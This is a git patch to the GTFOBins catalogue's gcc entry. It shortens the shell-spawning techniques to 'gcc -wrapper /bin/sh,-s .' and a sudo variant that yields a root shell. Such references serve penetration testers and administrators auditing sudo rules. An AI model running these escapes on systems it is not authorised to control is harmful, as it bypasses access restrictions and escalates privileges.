From dfb01a4c3b0671d600c37398c4b1b9a715280319 Mon Sep 17 00:00:00 2001 From: Andrea Cardaci Date: Sat, 14 Mar 2020 12:17:30 +0100 Subject: [PATCH] Simplify gcc shell --- _gtfobins/gcc.md | 14 ++------------ 1 file changed, 2 insertions(+), 12 deletions(-) diff --git a/_gtfobins/gcc.md b/_gtfobins/gcc.md index 329e9ee..0c7f668 100644 --- a/_gtfobins/gcc.md +++ b/_gtfobins/gcc.md @@ -1,17 +1,7 @@ --- functions: shell: - - code: | - TF=$(mktemp -d) - echo '#!/bin/sh' > $TF/x - echo '/bin/sh' >> $TF/x - chmod +x $TF/x - gcc -wrapper $TF/x $TF/x + - code: gcc -wrapper /bin/sh,-s . sudo: - - code: | - TF=$(mktemp -d) - echo '#!/bin/sh' > $TF/x - echo '/bin/sh' >> $TF/x - chmod +x $TF/x - sudo gcc -wrapper $TF/x $TF/x + - code: sudo gcc -wrapper /bin/sh,-s . ---